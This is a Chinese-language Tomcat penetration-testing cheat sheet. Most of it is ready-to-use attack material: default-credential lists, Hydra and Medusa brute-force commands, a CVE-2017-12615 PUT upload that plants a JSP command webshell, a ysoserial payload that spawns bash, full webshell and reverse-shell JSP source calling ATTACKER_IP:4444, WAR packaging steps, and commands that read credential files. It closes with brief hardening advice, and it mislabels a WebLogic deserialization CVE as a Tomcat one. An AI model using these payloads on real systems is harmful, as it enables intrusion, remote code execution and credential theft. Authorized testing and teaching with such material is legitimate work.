8080 - Tomcat
💡 学习提示 : 本文档介绍 Tomcat 的渗透测试方法,适合信息安全初学者和从业人员参考。
⚠️ 法律声明 : 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。
⚠️ 法律声明 : 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。
漏洞概述
Apache Tomcat 是流行的 Java Web 应用服务器,常见漏洞包括弱口令、文件上传、反序列化等。
影响版本 : 所有版本
危害等级 : ⭐⭐⭐⭐⭐
信息收集
端口扫描
# Nmap 扫描
nmap -sV -p 8080 <TARGET_IP>
# Tomcat 枚举
nmap --script http-tomcat-* <TARGET_IP>
版本识别
# 访问默认页面
curl http://<TARGET_IP>:8080/
# 查看版本信息
curl http://<TARGET_IP>:8080/RELEASE-NOTES.txt
管理后台探测
# 常见管理路径
/manager/html
/manager/text
/host-manager/html
/admin
漏洞利用
方法 1: 弱口令爆破
# 默认凭据
tomcat:tomcat
admin:admin
admin:password
manager:manager
role:role
both:tomcat
# Hydra 爆破
hydra -L /usr/share/wordlists/tomcat-users.txt -P /usr/share/wordlists/rockyou.txt http-get://<TARGET_IP>:8080/manager/html
# Medusa 爆破
medusa -h <TARGET_IP> -p 8080 -U users.txt -P passwords.txt -M http -m DIR= /manager/html
方法 2: 文件上传(Manager 应用)
# 1. 登录管理后台
http://<TARGET_IP>:8080/manager/html
# 2. 上传 WAR 包
# 选择 WAR file to deploy
# 上传恶意 WAR 包
# 3. 访问 Webshell
http://<TARGET_IP>:8080/shell/shell.jsp
方法 3: PUT 方法上传(CVE-2017-12615)
# 检查是否允许 PUT
curl -X PUT http://<TARGET_IP>:8080/shell.jsp/ -d "<%@page import=\"java.util.*\"%><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"
# 如果返回 201 或 204,说明成功
# 访问 Webshell
http://<TARGET_IP>:8080/shell.jsp?cmd= whoami
方法 4: 反序列化漏洞
# CVE-2015-4852
# 使用 ysoserial 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64}|{base64,-d}|{bash,-i}" > payload.bin
# 发送到 T3 端口
Webshell 制作
JSP Webshell
<%-- 简单命令执行 --%>
<%@ page import="java.util.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
Scanner s = new Scanner(p.getInputStream());
while (s.hasNext()) {
out.println(s.nextLine());
}
}
%>
<%-- 反弹 Shell --%>
<%@ page import="java.net.*,java.io.*" %>
<%
String host = "ATTACKER_IP";
int port = 4444;
Socket s = new Socket(host, port);
Process p = Runtime.getRuntime().exec("/bin/bash");
new StreamConnector(p.getInputStream(), s.getOutputStream()).start();
new StreamConnector(p.getErrorStream(), s.getOutputStream()).start();
new StreamConnector(s.getInputStream(), p.getOutputStream()).start();
%>
WAR 包制作
# 创建目录结构
mkdir -p shell/WEB-INF
# 创建 web.xml
cat > shell/WEB-INF/web.xml << EOF
<?xml version="1.0"?>
<web-app>
<servlet>
<servlet-name>Shell</servlet-name>
<jsp-file>/shell.jsp</jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>Shell</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>
</web-app>
EOF
# 复制 JSP Webshell
cp shell.jsp shell/
# 打包 WAR
cd shell && jar -cvf ../shell.war .
提权路径
Tomcat 提权到系统
# 1. 查看 Tomcat 运行用户
ps aux | grep tomcat
# 2. 查看 sudo 权限
sudo -l
# 3. 查找敏感文件
find / -name "*.xml" 2>/dev/null | grep -i tomcat
cat /opt/tomcat/conf/tomcat-users.xml
数据库凭据
# 查看数据库配置
cat /opt/tomcat/webapps/ROOT/WEB-INF/classes/jdbc.properties
cat /opt/tomcat/webapps/ROOT/WEB-INF/web.xml
防御建议
修改默认凭据
<!-- conf/tomcat-users.xml -->
<role rolename= "admin-gui" />
<user username= "admin" password= "StrongPassword123!" roles= "admin-gui" />
禁用 Manager 应用
# 删除或重命名
rm -rf webapps/manager
rm -rf webapps/host-manager
限制访问 IP
<!-- conf/Catalina/localhost/manager.xml -->
<Context>
<Valve className= "org.apache.catalina.valves.RemoteAddrValve"
allow= "127\.0\.0\.1" />
</Context>
禁用 HTTP PUT 方法
<!-- conf/web.xml -->
<security-constraint>
<web-resource-collection>
<url-pattern> /*</url-pattern>
<http-method> PUT</http-method>
</web-resource-collection>
<auth-constraint/>
</security-constraint>
定期更新
参考链接
搜索引擎语法
FOFA
Shodan
ZoomEye
📖 参考资料